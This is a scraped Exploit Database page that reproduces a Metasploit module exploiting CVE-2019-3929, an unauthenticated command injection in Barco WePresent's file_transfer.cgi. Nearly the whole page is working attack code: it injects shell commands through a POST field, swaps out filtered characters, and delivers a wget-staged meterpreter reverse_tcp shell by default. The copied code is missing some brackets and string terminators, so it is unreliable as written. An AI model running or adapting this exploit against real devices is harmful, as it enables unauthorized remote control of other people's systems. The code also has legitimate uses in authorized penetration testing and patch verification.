Barco WePresent – file_transfer.cgi Command Injection (Metasploit)

Exploit Database
182 阅读

作者： Metasploit

日期： 2020-01-15
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/47924/

100

101

102

103

104

105

106

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::CmdStager

def initialize(info = {})

super(update_info(info,

'Name' => "Barco WePresent file_transfer.cgi Command Injection",

'Description'=> %q(

This module exploits an unauthenticated remote command injection

vulnerability found in Barco WePresent and related OEM'ed products.

The vulnerability is triggered via an HTTP POST request to the

file_transfer.cgi endpoint.

'License'=> MSF_LICENSE,

'Author' => 'Jacob Baines', # @Junior_Baines'

'References' =>

[

['CVE', '2019-3929'],

['EDB', '46786'],

['URL', 'https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c']

'DisclosureDate' => "Apr 30, 2019",

'Platform' => ['unix', 'linux'],

'Arch' => [ARCH_CMD, ARCH_ARMLE],

'Privileged' => false,

'Targets'=> [

['Unix In-Memory',

'Platform'=> 'unix',

'Arch'=> ARCH_CMD,

'Type'=> :unix_memory,

'Payload' => {

'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnetd' }

}],

['Linux Dropper',

'Platform'=> 'linux',

'Arch'=> ARCH_ARMLE,

'CmdStagerFlavor' => ['printf', 'wget'],

'Type'=> :linux_dropper]

'DefaultTarget'=> 1,

'DefaultOptions' => {

'SSL' => true,

'RPORT' => 443,

'CMDSTAGER::FLAVOR' => 'printf',

'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'

}))

end

def filter_bad_chars(cmd)

cmd.gsub!(/;/, 'Pa_Note')

cmd.gsub!(/\+/, 'Pa_Add')

cmd.gsub!(/&/, 'Pa_Amp')

return cmd

end

def send_command(cmd, timeout)

vars_post = {

file_transfer: 'new',

dir: "'#{filter_bad_chars(cmd)}'"

}

send_request_cgi({

'uri' => '/cgi-bin/file_transfer.cgi',

'method'=> 'POST',

'vars_post' => vars_post

}, timeout)

end

def check

check_resp = send_command(";whoami;", 5)

unless check_resp

return CheckCode::Unknown('Connection failed.')

end

if check_resp.code == 200

check_resp.body.gsub!(/[\r\n]/, "")

if check_resp.body == "root"

return CheckCode::Vulnerable

end

CheckCode::Safe

end

def execute_command(cmd, _opts = {})

send_command(";(#{cmd})&", nil)

end

def exploit

case target['Type']

when :unix_memory

execute_command(payload.encoded)

when :linux_dropper

execute_cmdstager(linemax: 128)

end